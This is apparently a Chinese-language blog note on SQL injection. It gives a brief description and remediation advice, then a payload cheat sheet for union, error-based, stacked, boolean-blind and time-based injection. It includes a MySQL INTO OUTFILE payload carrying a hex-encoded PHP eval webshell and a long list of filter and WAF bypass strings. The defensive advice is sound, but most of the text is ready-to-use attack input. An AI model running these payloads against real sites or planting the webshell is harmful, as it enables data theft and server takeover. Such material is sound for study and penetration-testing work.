SQL注入
SQL注入
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。
修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
- 对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
- 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
- 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害害。
- 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
漏洞原理
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库执行
分类
按sqlmap里可分为:
联合查询注入
1. order by 列数
2. union select 1,2,3,group_concat(查询语句)
报错注入
floor,输出长度为64个字符
and (select 1 from (select count(*),concat((查询语句),floor (rand(0)*2))x from information_schema.tables group by x)a)
updatexml,只有在返回格式不是xml才生效,输出长度为32个字符
and updatexml(1,concat(0x7e,(查询语句),0x7e),1)
ExtractValue,输入长度为32个字符
and extractvalue(1,concat(0x7e,(查询语句),0x7e))
堆叠注入
在语句后加;查询语句
布尔注入,先猜长度,然后再一一猜具体名
and (length(database())) = 猜测的长度
and (ascii(substr((查询语句),第几行,第几个))) = asscii码
延时注入,先猜长度,然后再一一猜具体名
and (length(查询语句)) = 猜测的长度 +and+if(1=1, sleep(5), null)+ --+
and (ascii(substr((查询语句) ,第几行,第几个))) = asscii码 +and+if(1=1, sleep(1), null)--+
MySQL写文件
union select 1,0x003c3f706870206576616c28245f504f53545b315d293b3f3e,1 into outfile "网站绝对路径" --+(如果为16进制时前后需要加值)
- 权限为root
- secure_file_priv=""(允许把数据库中的数据导出到本地)
- 知道网站的绝对路径
绕过
过滤空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
过滤关键字、注释符
大小写,双写
使用符合闭合
过滤单引号
使用双引号或者把字符串转为十六进制
过滤union select
union distinct select
union all select
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/* */union/* */select/ */1,2;
/*!union*//*!00000all*//*!00000select*/1,2
过滤逗号
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
过滤函数
substr = min
updatexml() = polygon()
过滤or and xor not
and 等于 &&
or 等于 ||
not 等于 !
xor 等于 |
过滤等号
like
rlike
regexp
静态文件绕过
/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1
pipline
multipart/form-data
过滤order by
into @a,@b,@c,@d;
编码绕过
url
unicode

浙公网安备 33010602011771号